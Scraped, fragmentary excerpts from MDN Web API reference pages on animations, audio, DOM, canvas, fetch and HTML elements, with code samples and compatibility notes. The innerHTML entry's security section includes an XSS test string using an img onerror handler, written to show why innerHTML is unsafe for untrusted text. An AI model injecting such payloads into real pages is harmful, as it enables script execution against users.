example animation.pause() is used many times in the alice in web animations api land growing/shrinking alice game, largely because animations created with the element.animate() method immediately start playing and must be paused manually if you want to avoid that: // animation of the cupcake slowly getting eaten up var nommingcake = document.getelementbyid('eat-me_sprite').animate( [ { transform: 'translatey(0)' }, { transform: 'translatey(-80%)' } ], { fill: 'forwards', easing: 'steps(4, end)', duration: alicechange.effect.timing.duration / 2 }); // doesn't actuall...
...y need to be eaten until a click event, so pause it initially: nommingcake.pause(); additionally, when resetting : // an all-purpose function to pause the animations on alice, the cupcake, and the bottle that reads "drink me." var stopplayingalice = function() { alicechange.pause(); nommingcake.pause(); drinking.pause(); }; // when the user releases the cupcake or the bottle, pause the animations.
... cake.addeventlistener("mouseup", stopplayingalice, false); bottle.addeventlistener("mouseup", stopplayingalice, false); specifications specification status comment web animationsthe definition of 'play()' in that specification.
Animation.persist() - Web APIs
WebAPIAnimationpersist
examples in our simple replace indefinite animations demo, you can see the following code: const divelem = document.queryselector('div'); document.body.addeventlistener('mousemove', evt => { let anim = divelem.animate( { transform: `translate(${ evt.clientx}px, ${evt.clienty}px)` }, { duration: 500, fill: 'forwards' } ); anim.commitstyles(); //anim.persist() anim.onremove = function() { console.log('animation removed'); } console.log(anim.replacestate); }); here we have a <div> element, and an event listener that fires the event handler code whenever the mouse moves.
...this will be active for each animation by default, or persisted if the persist() call is uncommented.
... specifications specification status comment web animationsthe definition of 'persist()' in that specification.
Animation.replaceState - Web APIs
examples in our simple replace indefinite animations demo, you can see the following code: const divelem = document.queryselector('div'); document.body.addeventlistener('mousemove', evt => { let anim = divelem.animate( { transform: `translate(${ evt.clientx}px, ${evt.clienty}px)` }, { duration: 500, fill: 'forwards' } ); anim.commitstyles(); //anim.persist() anim.onremove = function() { console.log('animation removed'); } console.log(anim.replacestate); }); here we have a <div> element, and an event listener that fires the event handler code whenever the mouse moves.
...this will be active for each animation by default, or persisted if the persist() call is uncommented.
... specifications specification status comment web animationsthe definition of 'animation.replacestate' in that specification.
Animation - Web APIs
WebAPIAnimation
animation.commitstyles() commits the end styling state of an animation to the element being animated, even after that animation has been removed.
...the related javascript features are: animation.commitstyles() for commiting the end styling state of an animation to the element being animated, even after that animation has been removed.
... designing safer web animation for motion sensitivity · an a list apart article an introduction to the reduced motion media query | css-tricks responsive design for motion | webkit mdn understanding wcag, guideline 2.2 explanations understanding success criterion 2.2.2 | w3c understanding wcag 2.0 specifications specification status comment web animationsthe definition of 'animation' in that specification.
AudioBufferSourceNode - Web APIs
audiobuffersourcenode.start() used to schedule playback of the audio data contained in the buffer, or to begin playback immediately.
...the comments should clearly explain what is going on.
... specifications specification status comment web audio apithe definition of 'audiobuffersourcenode' in that specification.
AudioScheduledSourceNode.start() - Web APIs
if no time is specified, then the sound begins playing immediately.
...a value of 0 (or omitting the when parameter entirely) causes the sound to start playback immediately.
... context = new audiocontext(); osc = context.createoscillator(); osc.connect(context.destination); /* schedule the start and stop times for the oscillator */ osc.start(context.currenttime + 2); osc.stop(context.currenttime + 3); specifications specification status comment web audio apithe definition of 'start()' in that specification.
AudioScheduledSourceNode.stop() - Web APIs
if no time is specified, then the sound stops playing immediately.
...omitting this parameter, specifying a value of 0, or passing a negative value causes the sound to stop playback immediately.
...*/ osc.start(); osc.stop(context.currenttime + 1); specifications specification status comment web audio apithe definition of 'stop()' in that specification.
AudioWorkletNode.parameters - Web APIs
the read-only parameters property of the audioworkletnode interface returns the associated audioparammap — that is, a map-like collection of audioparam objects.
... syntax audioworkletnodeinstance.parameters value the audioparammap object containing audioparam instances.
...udioworkletnode(audiocontext, 'white-noise-processor') whitenoisenode.connect(audiocontext.destination) now we can change the gain on the node like this: const gainparam = whitenoisenode.parameters.get('customgain') gainparam.setvalueattime(0, audiocontext.currenttime) gainparam.linearramptovalueattime(0.5, audiocontext.currenttime + 0.5) specifications specification status comment web audio apithe definition of 'parameters' in that specification.
AudioWorkletNode.port - Web APIs
it can be used to communicate between the node and its associated audioworkletprocessor.
... examples to demonstrate bidirectional communication capabilities, we'll create an audioworkletprocessor, which will output silence and respond to ping requests from its audioworkletnode.
... specifications specification status comment web audio apithe definition of 'port' in that specification.
AudioWorkletNode - Web APIs
audioworkletnode.port read only returns a messageport used for bidirectional communication between the node and its associated audioworkletprocessor.
... audioworkletnode.parameters read only returns an audioparammap — a collection of audioparam objects.
... const audiocontext = new audiocontext() await audiocontext.audioworklet.addmodule('white-noise-processor.js') const whitenoisenode = new audioworkletnode(audiocontext, 'white-noise-processor') whitenoisenode.connect(audiocontext.destination) specifications specification status comment web audio apithe definition of 'audioworkletnode' in that specification.
AudioWorkletProcessor.port - Web APIs
it can be used to communicate between the processor and the audioworkletnode to which it belongs.
... examples to demonstrate bidirectional communication capabilities, we'll create an audioworkletprocessor, which will output silence and respond to ping requests from its audioworkletnode.
... specifications specification status comment web audio apithe definition of 'port' in that specification.
AuthenticatorAttestationResponse.getTransports() - Web APIs
their values may be : "usb": the authenticator can be contacted via a removable usb link "nfc": the authenticator may be used over nfc (near field communication) "ble": the authenticator may be used over ble (bluetooth low energy) "internal": the authenticator is specifically bound to the client device (cannot be removed).
... type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey }) .then(function (newcredentialinfo) { var transports = newcredentialinfo.response.gettransports(); console.table(transports); // may be something like ["internal", "nfc", "usb"] }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'gettransports()' in that specification.
... recommendation initial definition.
BaseAudioContext.createBuffer() - Web APIs
examples first, a couple of simple trivial examples, to help explain how the parameters are used: var audioctx = new audiocontext(); var buffer = audioctx.createbuffer(2, 22050, 44100); if you use this call, you will get a stereo buffer (two channels), that, when played back on an audiocontext running at 44100hz (very common, most normal sound cards run at this rate), will last for 0.5 seconds: 22050 frames / 44100hz = 0.5 seconds.
...the comment should clearly explain what is going on.
...the audionode to use when we want to play an audiobuffer var source = audioctx.createbuffersource(); // set the buffer in the audiobuffersourcenode source.buffer = myarraybuffer; // connect the audiobuffersourcenode to the // destination so we can hear the sound source.connect(audioctx.destination); // start the source playing source.start(); specifications specification status comment web audio apithe definition of 'createbuffer()' in that specification.
BaseAudioContext - Web APIs
baseaudiocontext.createbiquadfilter() creates a biquadfilternode, which represents a second order filter configurable as several different common filter types: high-pass, low-pass, band-pass, etc baseaudiocontext.createbuffer() creates a new, empty audiobuffer object, which can then be populated by data and played via an audiobuffersourcenode.
... baseaudiocontext.createiirfilter() creates an iirfilternode, which represents a second order filter configurable as several different common filter types.
...o context declaration: const audiocontext = new audiocontext(); cross browser variant: const audiocontext = window.audiocontext || window.webkitaudiocontext; const audiocontext = new audiocontext(); const oscillatornode = audiocontext.createoscillator(); const gainnode = audiocontext.creategain(); const finish = audiocontext.destination; specifications specification status comment web audio apithe definition of 'baseaudiocontext' in that specification.
BasicCardResponse - Web APIs
billing address is a paymentaddress object } } specifications specification status comment basic card paymentthe definition of 'basiccardresponse' in that specification.
...79firefox full support 56notes disabled full support 56notes disabled notes available only in nightly builds.disabled from version 56: this feature is behind the dom.payments.request.enabled preference (needs to be set to true) and the dom.payments.request.supportedregions preference (needs to be set to a comma-delineated list of one or more 2-character iso country codes indicating the countries in which to support payments (for example, us,ca.).
...x android full support 56notes disabled full support 56notes disabled notes available only in nightly builds.disabled from version 56: this feature is behind the dom.payments.request.enabled preference (needs to be set to true) and the dom.payments.request.supportedregions preference (needs to be set to a comma-delineated list of one or more 2-character iso country codes indicating the countries in which to support payments (for example, us,ca.).
CSSGroupingRule - Web APIs
interface cssgroupingrule : cssrule { readonly attribute cssrulelist cssrules; unsigned long insertrule (domstring rule, unsigned long index); void deleterule (unsigned long index); } properties common to all cssgroupingrule instances the cssgroupingrule derives from cssrule and inherits all properties of this class.
... methods common to all cssgroupingrule instances the cssgroupingrule derives from cssrule and inherits all methods of this class.
... specification specification status comment css object model (cssom)the definition of 'cssgroupingrule' in that specification.
Managing screen orientation - Web APIs
adjusting layout based on the orientation one of the most common cases for orientation changes is when you want to revise the layout of your content based on the orientation of the device.
...cras commodo quam non tortor consectetur eget rutrum dolor ultricies.
...nullam quis malesuada est.</p> css relies on the orientation media query to handle specific styles based on the screen orientation /* first let's define some common styles */ html, body { width : 100%; height: 100%; } body { border: 1px solid black; -moz-box-sizing: border-box; box-sizing: border-box; } p { font : 1em sans-serif; margin : 0; padding: .5em; } ul { list-style: none; font : 1em monospace; margin : 0; padding: .5em; -moz-box-sizing: border-box; box-sizing: border-box; background: black; } li { display: inline-block; margin : 0; padding: 0.5em; background: white; } once we have some common styles we can start defining a special case for the orientation /* for portrait, we want the tool bar on...
CSS Object Model (CSSOM) - Web APIs
managing screen orientation specifications specification status comment css typed om level 1 working draft css painting api level 1 working draft extended the css interface with the paintworklet static property.
... screen orientation api working draft css fonts module level 3 candidate recommendation css animations working draft css transitions working draft css custom properties for cascading variables module level 1 candidate recommendation css conditional rules module level 3 candidate recommendation defined the css interface.
... css device adaptation working draft css counter styles level 3 candidate recommendation document object model (dom) level 2 style specification obsolete initial definition.
CSS Painting API - Web APIs
for example: aside { background-image: paint(mypaintedimage); } the api defines paintworklet, a worklet that can be used to programmatically generate an image that responds to computed style changes.
... interfaces paintworklet programmatically generates an image where a css property expects a file.
... specifications specification status comment css painting api level 1 working draft initial definition.
CanvasRenderingContext2D.arcTo() - Web APIs
this method is commonly used for making rounded corners.
...this is one of the method's most common uses.
... 0; // the radius that changes over time let a = 0; // angle let pi2 = math.pi * 2; const loop = function (t) { t0 = t / 1000; a = t0 % pi2; rr = math.abs(math.cos(a) * r); ctx.clearrect(0, 0, canvas.width, canvas.height); drawarc([p1, p2, p3], rr); drawpoints([p1, p2, p3]); requestanimationframe(loop); } loop(0); result specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.arcto' in that specification.
CanvasRenderingContext2D.lineJoin - Web APIs
"round" rounds off the corners of a shape by filling an additional sector of disc centered at the common endpoint of connected segments.
... "bevel" fills an additional triangular area between the common endpoint of connected segments, and the separate outside rectangular corners of each segment.
...oin = ['round', 'bevel', 'miter']; ctx.linewidth = 10; for (let i = 0; i < linejoin.length; i++) { ctx.linejoin = linejoin[i]; ctx.beginpath(); ctx.moveto(-5, 5 + i * 40); ctx.lineto(35, 45 + i * 40); ctx.lineto(75, 5 + i * 40); ctx.lineto(115, 45 + i * 40); ctx.lineto(155, 5 + i * 40); ctx.stroke(); } screenshotlive sample specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.linejoin' in that specification.
Applying styles and colors - Web APIs
round rounds off the corners of a shape by filling an additional sector of disc centered at the common endpoint of connected segments.
... bevel fills an additional triangular area between the common endpoint of connected segments, and the separate outside rectangular corners of each segment.
... more exactly, the miter limit is the maximum allowed ratio of the extension length (in the html canvas, it is measured between the outside corner of the joined edges of the line and the common endpoint of connecting segments specified in the path) to half the line width.
Using channel messaging - Web APIs
the channel messaging api allows two separate scripts running in different browsing contexts attached to the same document (e.g., two iframes, or the main document and an iframe, or two documents via a sharedworker) to communicate directly, passing messages between one another through two-way channels (or pipes) with a port at each end.
...in this case, we are transferring messagechannel.port2 to the iframe, so it can be used to communicate with the main page.
... specifications specification status comment html living standardthe definition of 'channel messaging' in that specification.
Clipboard API - Web APIs
the clipboard api provides the ability to respond to clipboard commands (cut, copy, and paste) as well as to asynchronously read from and write to the system clipboard.
... this api is designed to supersede accessing the clipboard using document.execcommand().
... specifications specification status comment clipboard api and events working draft initial definition.
Crypto - Web APIs
WebAPICrypto
crypto.subtle read only secure context returns a subtlecrypto object providing access to common cryptographic primitives, like hashing, signing, encryption, or decryption.
... specifications specification status comment web cryptography apithe definition of 'crypto' in that specification.
... recommendation initial definition ...
DOMException - Web APIs
error names common error names are listed here.
... specifications specification status comment web idlthe definition of 'constructor' in that specification.
... candidate recommendation adds the constructor for the domexception class.
DOMHighResTimeStamp - Web APIs
specifications specification status comment high resolution time level 2the definition of 'domhighrestimestamp' in that specification.
... recommendation stricter definitions of interfaces and types.
... recommendation initial definition.
DOMPointReadOnly - Web APIs
methods matrixtransform() applies a matrix transform specified as a dommatrixinit object to the dompointreadonly object.
... specifications specification status comment geometry interfaces module level 1the definition of 'dompoint' in that specification.
... candidate recommendation latest spec version is an ed.
DOMRectReadOnly - Web APIs
the domrectreadonly interface specifies the standard properties used by domrect to define a rectangle whose properties are immutable.
... specifications specification status comment geometry interfaces module level 1the definition of 'domrectreadonly' in that specification.
... candidate recommendation initial definition.
Document: DOMContentLoaded event - Web APIs
it is a common mistake to use load where domcontentloaded would be more appropriate.
...nt) => { log.textcontent = log.textcontent + 'load\n'; }); document.addeventlistener('readystatechange', (event) => { log.textcontent = log.textcontent + `readystate: ${document.readystate}\n`; }); document.addeventlistener('domcontentloaded', (event) => { log.textcontent = log.textcontent + `domcontentloaded\n`; }); result specifications specification status comment html living standardthe definition of 'domcontentloaded' in that specification.
... recommendation ...
Document.body - Web APIs
WebAPIDocumentbody
specification specification status comment html living standardthe definition of 'document.body' in that specification.
... recommendation html5the definition of 'document.body' in that specification.
... recommendation ...
Document.createElementNS() - Web APIs
tructed dynamically with createelementns and createtextnode then inserted into the document using appendchild."); newdiv.appendchild(txtnode); container.appendchild(newdiv); } ]]></script> <vbox id="containerbox" flex="1"> <html:div> the script on this page will add dynamic content below: </html:div> </vbox> </page> the example given above uses inline script which is not recommended in xhtml documents.
... this particular example is actually an xul document with embedded xhtml, however, the recommendation still applies.
... specifications specification status comment domthe definition of 'document.createelementns()' in that specification.
Document: dragenter event - Web APIs
the target object is the immediate user selection (the element directly indicated by the user as the drop target), or the <body> element.
... bubbles yes cancelable yes default action reject immediate user selection as potential target element.
... specifications specification status comment html living standardthe definition of 'dragenter' in that specification.
Document.head - Web APIs
WebAPIDocumenthead
specifications specification status comment html 5.1the definition of 'document.head' in that specification.
... recommendation html5the definition of 'document.head' in that specification.
... recommendation html living standardthe definition of 'document.head' in that specification.
Document.readyState - Web APIs
=== 'complete') { initapplication(); } } readystatechange as event listener to insert or modify the dom before domcontentloaded document.addeventlistener('readystatechange', event => { if (event.target.readystate === 'interactive') { initloader(); } else if (event.target.readystate === 'complete') { initapp(); } }); specifications specification status comment html living standardthe definition of 'document readiness' in that specification.
... recommendation html5the definition of 'document readiness' in that specification.
... recommendation initial specification.
Document.rootElement - Web APIs
specifications specification status comment scalable vector graphics (svg) 2the definition of 'svgdocument.rootelement' in that specification.
... candidate recommendation deprecated scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgdocument.rootelement' in that specification.
... recommendation initial definition ...
Traversing an HTML table with JavaScript and DOM Interfaces - Web APIs
you will use it frequently in programming for the w3c dom.
...the following source code is a commented version for the sample1.html.
... the differences are that (a) getelementsbytagname() only returns elements of the specified tag name; and (b) getelementsbytagname() returns descendants at any level, not just immediate children.
DragEvent - Web APIs
WebAPIDragEvent
dragexit this event is fired when an element is no longer the drag operation's immediate selection target.
... specifications specification status comment html living standardthe definition of 'dragevent' in that specification.
... recommendation initial definition ...
Element.classList - Web APIs
WebAPIElementclassList
a major discrepancy between the polyfilled version of classlist and the w3 specs is that for ie6-8, there is no way to create an immutable object (an object whose properties cannot be directly modified).
... a minor note is that in ie6-7, this polyfill uses the window[" ucl"] property on the window object for communicating with the css expressions, the x-uclp css property on all elements, and the element[" ucl"] property on all elements to allow garbage collection and boost performance.
... specifications specification status comment domthe definition of 'element.classlist' in that specification.
Element.clientTop - Web APIs
WebAPIElementclientTop
this is because the offsettop indicates the location of the top of the border (not the margin) while the client area starts immediately below the border, (client area includes padding.) therefore, the clienttop value will always equal the integer portion of the .getcomputedstyle() value for "border-top-width".
...ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.
... specifications specification status comment css object model (cssom) view modulethe definition of 'clienttop' in that specification.
Element.getAttributeNode() - Web APIs
common node attributes like parentnode, previoussibling, and nextsibling are null for an attr node.
... dom methods dealing with element's attributes: not namespace-aware, most commonly used methods namespace-aware variants (dom level 2) dom level 1 methods for dealing with attr nodes directly (seldom used) dom level 2 namespace-aware methods for dealing with attr nodes directly (seldom used) setattribute (dom 1) setattributens setattributenode setattributenodens getattribute (dom 1) getattributens getattributenode getattributenodens hasattribute (dom 2) hasattributens - - removeattribute (dom 1) removeattributens removeattributenode - specifications specification st...
...atus comment domthe definition of 'getattributenode()' in that specification.
Element.innerHTML - Web APIs
WebAPIElementinnerHTML
security considerations it is not uncommon to see innerhtml used to insert text into a web page.
...for example: const name = "<img src='x' onerror='alert(1)'>"; el.innerhtml = name; // shows the alert for that reason, it is recommended that you do not use innerhtml when inserting plain text; instead, use node.textcontent.
... specification specification status comment dom parsing and serializationthe definition of 'element.innerhtml' in that specification.
Element.removeAttributeNode() - Web APIs
example // given: <div id="top" align="center" /> var d = document.getelementbyid("top"); var d_align = d.getattributenode("align"); d.removeattributenode(d_align); // align is now removed: <div id="top" /> notes if the removed attribute has a default value, it is immediately replaced.
... dom methods dealing with element's attributes: not namespace-aware, most commonly used methods namespace-aware variants (dom level 2) dom level 1 methods for dealing with attr nodes directly (seldom used) dom level 2 namespace-aware methods for dealing with attr nodes directly (seldom used) setattribute (dom 1) setattributens setattributenode setattributenodens getattribute (dom 1) getattributens getattributenode getattributenodens hasattribute (dom 2) hasattributens - - removeattribute (dom 1) removeattributens removeattr...
...ibutenode - specifications specification status comment domthe definition of 'element: removeattributenode' in that specification.
Element.setAttribute() - Web APIs
an empty string or the name of the attribute are recommended values.
... dom methods dealing with element's attributes: not namespace-aware, most commonly used methods namespace-aware variants (dom level 2) dom level 1 methods for dealing with attr nodes directly (seldom used) dom level 2 namespace-aware methods for dealing with attr nodes directly (seldom used) setattribute (dom 1) setattributens setattributenode setattributenodens getattribute (dom 1) getattributens getattributenode getattributenodens hasattribute (dom 2) hasattribute...
...ns - - removeattribute (dom 1) removeattributens removeattributenode - specifications specification status comment domthe definition of 'setattribute()' in that specification.
Fetch basic concepts - Web APIs
guard guard is a feature of headers objects, with possible values of immutable, request, request-no-cors, response, or none, depending on where the header is used.
...when a request or response object is created, it has an associated headers object whose guard is set as summarized below: new object's type creating constructor guard setting of associated headers object request request() request request() with mode of no-cors request-no-cors response response() response error() or redirect() methods immutable a header's guard affects the set(), delete(), and append() methods which change the header's contents.
... a typeerror is thrown if you try to modify a headers object whose guard is immutable.
Fetch API - Web APIs
WebAPIFetch API
this will allow them to be used wherever they are needed in the future, whether it’s for service workers, cache api, and other similar things that handle or modify requests and responses, or any kind of use case that might require you to generate your responses programmatically (that is, the use of computer program or personal programming instructions).
... you can create a request and response directly using the request() and response() constructors, but it's uncommon to do this directly.
... specifications specification status comment fetch living standard initial definition ...
FileSystemDirectoryEntry - Web APIs
specifications specification status comment file and directory entries apithe definition of 'filesystemdirectoryentry' in that specification.
... full support yesremoverecursively deprecatednon-standardchrome full support 8edge full support 79firefox no support 50 — 52notes no support 50 — 52notes notes while the removerecursively() method existed, it immediately called the error callback with ns_error_dom_security_err.ie no support noopera no support nosafari no support nowebview android full support ≤37chrome android full support ...
... 18firefox android no support 50 — 52notes no support 50 — 52notes notes while the removerecursively() method existed, it immediately called the error callback with ns_error_dom_security_err.opera android no support nosafari ios no support nosamsung internet android full support yeslegend full support full support no support no supportexperimental.
FileSystemFileEntry - Web APIs
var bb = new blobbuilder(); bb.append('meow'); filewriter.write(bb.getblob('text/plain')); }, errorhandler); }, errorhandler); } window.requestfilesystem(window.temporary, 1024*1024, oninitfs, errorhandler); specifications specification status comment file and directory entries apithe definition of 'filesystemfileentry' in that specification.
... yesprefixed prefixed implemented with the vendor prefix: webkitcreatewriter deprecatednon-standardchrome full support 8edge full support 79firefox no support 50 — 52notes no support 50 — 52notes notes while the createwriter() method existed, it immediately called errorcallback with the ns_error_dom_security_err error.ie no support noopera no support nosafari no support nowebview android full support ≤37chrome android full support ...
... 18firefox android no support 50 — 52notes no support 50 — 52notes notes while the createwriter() method existed, it immediately called errorcallback with the ns_error_dom_security_err error.opera android no support nosafari ios no support nosamsung internet android full support yesfilechrome full support 8edge full support 79firefox full support 50ie no support noopera no support ...
Using FormData Objects - Web APIs
creating a formdata object from scratch you can build a formdata object yourself, instantiating it then appending fields to it by calling its append() method, like this: var formdata = new formdata(); formdata.append("username", "groucho"); formdata.append("accountnum", 123456); // number 123456 is immediately converted to a string "123456" // html file input, chosen by user formdata.append("userfile", fileinputelement.files[0]); // javascript file-like object var content = '<a id="a"><b id="b">hey!</b></a>'; // the body of the new file...
...the number assigned to the field "accountnum" is immediately converted into a string by the formdata.append() method (the field's value can be a blob, file, or a string: if the value is neither a blob nor a file, the value is converted to a string).
...a blob object represents a file-like object of immutable, raw data.
Guide to the Fullscreen API - Web APIs
you can also do so programmatically by calling the document.exitfullscreen() method.
...here is the table summarizing the prefixes and name differences between them: standard webkit (safari) / blink (chrome & opera) / edge gecko (firefox) internet explorer document.fullscreen webkitisfullscreen mozfullscreen - document.fullscreenenabled webkitfullscreenenabled mozfullscreenenabled msfullscreenenabled documentorshadowroot.fullscreeneleme...
...nge document.onfullscreenerror onwebkitfullscreenerror onmozfullscreenerror onmsfullscreenerror document.exitfullscreen() webkitexitfullscreen() mozcancelfullscreen() msexitfullscreen() element.requestfullscreen() webkitrequestfullscreen() mozrequestfullscreen() msrequestfullscreen() specifications specification status comment fullscreen api living standard initial version.
HTMLAnchorElement - Web APIs
htmlanchorelement.coords is a domstring representing a comma-separated list of coordinates.
... specifications specification status comment html living standardthe definition of 'htmlanchorelement' in that specification.
... recommendation the methods blur() and focus(), as well as the properties tabindex and accesskey, are now defined on htmlelement.
msAudioDeviceType - Web APIs
syntax <audio src="sound.mp3" msaudiodevicetype="communications" /> by default, audio on your system will output to your default speakers and be considered a foreground element, meaning that the audio will play only when the element is active in the app.
... for real-time communications, you can use the msaudiodevicetype property with the value console, multimedia, or communications to specify where the current audio should output.
... communications specifies that the audio output will be sent to the communications device.
HTMLBaseElement - Web APIs
specifications specification status comment html living standardthe definition of 'htmlbaseelement' in that specification.
... recommendation no change from html5 html5the definition of 'htmlbaseelement' in that specification.
... recommendation no change from document object model (dom) level 2 html specification.
HTMLBodyElement - Web APIs
specifications specification status comment html living standardthe definition of 'htmlbodyelement' in that specification.
... recommendation html5the definition of 'htmlbodyelement' in that specification.
... recommendation the following properties are now obsolete: alink, bgcolor, background, link, text, and vlink.
HTMLCanvasElement.getContext() - Web APIs
specifications specification status comment html living standardthe definition of 'htmlcanvaselement.getcontext' in that specification.
... recommendation html5the definition of 'htmlcanvaselement.getcontext' in that specification.
... recommendation snapshot of the html living standard containing the initial definition.
HTMLCanvasElement.height - Web APIs
syntax var pxl = canvas.height; canvas.height = pxl; examples given this <canvas> element: <canvas id="canvas" width="300" height="300"></canvas> you can get the height of the canvas with the following code: var canvas = document.getelementbyid('canvas'); console.log(canvas.height); // 300 specifications specification status comment html living standardthe definition of 'htmlcanvaselement.height' in that specification.
... recommendation html5the definition of 'htmlcanvaselement.height' in that specification.
... recommendation snapshot of the html living standard containing the initial definition.
HTMLCanvasElement.toBlob() - Web APIs
p'}); promise.then( function() { console.log('successfully wrote file'); }, function() { console.log('failure writing file') } ); }; r.readasarraybuffer(b); } } canvas.toblob(blobcallback('passthisstring'), 'image/vnd.microsoft.icon', '-moz-parse-options:format=bmp;bpp=32'); specifications specification status comment html living standardthe definition of 'htmlcanvaselement.toblob' in that specification.
... recommendation no change html5the definition of 'htmlcanvaselement.toblob' in that specification.
... recommendation snapshot of the html living standard containing the initial definition.
HTMLCanvasElement.toDataURL() - Web APIs
3; } octx.putimagedata(oimgdata, 0, 0); ograyimg = new image(); ograyimg.src = ocanvas.todataurl(); ograyimg.onmouseover = showcolorimg; ocolorimg.onmouseout = showgrayimg; octx.clearrect(0, 0, nwidth, nheight); ocolorimg.style.display = "none"; ocolorimg.parentnode.insertbefore(ograyimg, ocolorimg); } } specifications specification status comment html living standardthe definition of 'htmlcanvaselement.todataurl' in that specification.
... recommendation html5the definition of 'htmlcanvaselement.todataurl' in that specification.
... recommendation snapshot of the html living standard containing the initial definition.
HTMLCanvasElement.width - Web APIs
syntax var pxl = canvas.width; canvas.width = pxl; examples given this <canvas> element: <canvas id="canvas" width="300" height="300"></canvas> you can get the width of the canvas with the following code: var canvas = document.getelementbyid('canvas'); console.log(canvas.width); // 300 specifications specification status comment html living standardthe definition of 'htmlcanvaselement.width' in that specification.
... recommendation html5the definition of 'htmlcanvaselement.width' in that specification.
... recommendation snapshot of the html living standard containing the initial definition.
HTMLDetailsElement - Web APIs
htmldetailselement.open is a boolean reflecting the open html attribute, indicating whether or not the element’s contents (not counting the <summary>) is to be shown to the user.
... specifications specification status comment html living standardthe definition of 'htmldetailselement' in that specification.
... candidate recommendation ...
HTMLDialogElement.open - Web APIs
the property is now read only — it is possible to set the value to programmatically show or hide the dialog.
... specifications specification status comment html living standardthe definition of 'open' in that specification.
... recommendation ...
accessKeyLabel - Web APIs
accesskeylabel) { node.title += ' [' + node.accesskeylabel + ']'; } else { node.title += ' [' + node.accesskey + ']'; } node.onclick = function () { var p = document.createelement('p'); p.textcontent = 'clicked!'; node.parentnode.appendchild(p); }; html <button accesskey="h" title="caption" id="btn1">hover me</button> result specifications specification status comment html living standardthe definition of 'htmlelement.accesskeylabel' in that specification.
... html 5.1 recommendation removed.
... recommendation snapshot of html living standard, initial definition.
HTMLElement.hidden - Web APIs
.panel { font: 16px "open sans", helvetica, arial, sans-serif; border: 1px solid #22d; padding: 12px; width: 500px; text-align: center; } .button { font: 22px "open sans", helvetica, arial, sans-serif; padding: 5px 36px; } h1 { margin-top: 0; font-size: 175%; } result specifications specification status comment html living standardthe definition of 'htmlelement.hidden' in that specification.
... recommendation html5the definition of 'htmlelement.hidden' in that specification.
... recommendation ...
HTMLElement.isContentEditable - Web APIs
</p> javascript document.getelementbyid('infotext1').innerhtml += document.getelementbyid('mytext1').iscontenteditable; document.getelementbyid('infotext2').innerhtml += document.getelementbyid('mytext2').iscontenteditable; result specifications specification status comment html living standardthe definition of 'htmlelement.contenteditable' in that specification.
... recommendation snapshot of html living standard, no change from html5 html5the definition of 'htmlelement.contenteditable' in that specification.
... recommendation snapshot of html living standard, initial definition.
HTMLElement - Web APIs
change fired when the value of an <input>, <select>, or <textarea> element has been changed and committed by the user.
... specifications specification status comment css object model (cssom) view modulethe definition of 'htmlelement' in that specification.
... recommendation added the following properties: dataset, hidden, tabindex, accesskey, accesskeylabel, draggable, dropzone, contenteditable, iscontenteditable, contextmenu, spellcheck, commandtype, commandlabel, commandicon, commandhidden, commanddisabled, commandchecked, style, and all the onxyz properties.
HTMLFieldSetElement - Web APIs
specifications specification status comment html living standardthe definition of 'htmlfieldsetelement' in that specification.
... recommendation html5the definition of 'htmlfieldsetelement' in that specification.
... recommendation the following properties have been added: disabled, elements, name, type, valdiationmessage, validity, and willvalidate.
HTMLFormElement - Web APIs
it is up to the programmer to decide how to respond to false.
... specifications specification status comment html living standardthe definition of 'htmlformelement' in that specification.
... recommendation the elements properties returns an htmlformcontrolscollection instead of a raw htmlcollection.
HTMLHeadElement - Web APIs
specifications specification status comment html living standardthe definition of 'htmlheadelement' in that specification.
... recommendation no change from html5.
... recommendation the following property has been removed: profile.
HTMLHtmlElement - Web APIs
specifications specification status comment html living standardthe definition of 'htmlhtmlelement' in that specification.
... recommendation no change since the last snapshot html5the definition of 'htmlhtmlelement' in that specification.
... recommendation the version element has been removed, as it is non-conforming.
HTMLImageElement.src - Web APIs
this can be set either within the html itself using the src content attribute, or programmatically by setting the element's src property.
... examples specifying a single image html <img src="https://udn.realityripple.com/samples/d6/7ab36d79bb.jpg" width="160" alt="slices of grapefruit, looking yummy."> result using src with an image set when using a set of images with the srcset property, the src serves as either a fallback for older browsers, or as the 1x size of the image.
... html result specifications specification status comment html living standardthe definition of 'htmlimageelement.src' in that specification.
HTMLInputElement.setSelectionRange() - Web APIs
html <input type="text" id="text-box" size="20" value="mozilla"> <button onclick="selecttext()">select text</button> javascript function selecttext() { const input = document.getelementbyid('text-box'); input.focus(); input.setselectionrange(2, 5); } result specifications specification status comment html living standardthe definition of 'htmlinputelement.setselectionrange()' in that specification.
... recommendation no change html5the definition of 'htmlinputelement.setselectionrange()' in that specification.
... recommendation initial definition ...
HTMLInputElement.stepDown() - Web APIs
specifications specification status comment html living standardthe definition of 'stepdown()' in that specification.
... recommendation html5the definition of 'stepdown()' in that specification.
... recommendation initial definition ...
HTMLInputElement.stepUp() - Web APIs
specifications specification status comment html living standardthe definition of 'stepup()' in that specification.
... recommendation html5the definition of 'stepup()' in that specification.
... recommendation initial definition ...
HTMLLegendElement - Web APIs
specifications specification status comment html living standardthe definition of 'htmllegendelement' in that specification.
... recommendation html5the definition of 'htmllegendelement' in that specification.
... recommendation the property accesskey is now defined on htmlelement.
HTMLLinkElement - Web APIs
specifications specification status comment preload candidate recommendation defines <link rel="preload">, and the as property.
... recommendation html5the definition of 'htmllinkelement' in that specification.
... recommendation the following properties are now obsolete: charset, rev, and shape.
HTMLMediaElement.mediaGroup - Web APIs
a group of media elements shares a common controller.
... specifications specification status comment html5the definition of 'htmlmediaelement.mediagroup' in that specification.
... recommendation initial definition.
HTMLMediaElement.seekable - Web APIs
examples var video = document.queryselector("video"); var timerangesobject = video.seekable; var timeranges = []; //go through the object and output an array for (let count = 0; count < timerangesobject.length; count ++) { timeranges.push([timerangesobject.start(count), timerangesobject.end(count)]); } specifications specification status comment html living standardthe definition of 'htmlmediaelement' in that specification.
... recommendation initial definition.
... recommendation specifies a new algorithm for returning the seekable time range of a media element whose source is a mediasource object.
HTMLMediaElement.sinkId - Web APIs
this id should be one of the mediadeviceinfo.deviceid values returned from mediadevices.enumeratedevices(), id-multimedia, or id-communications.
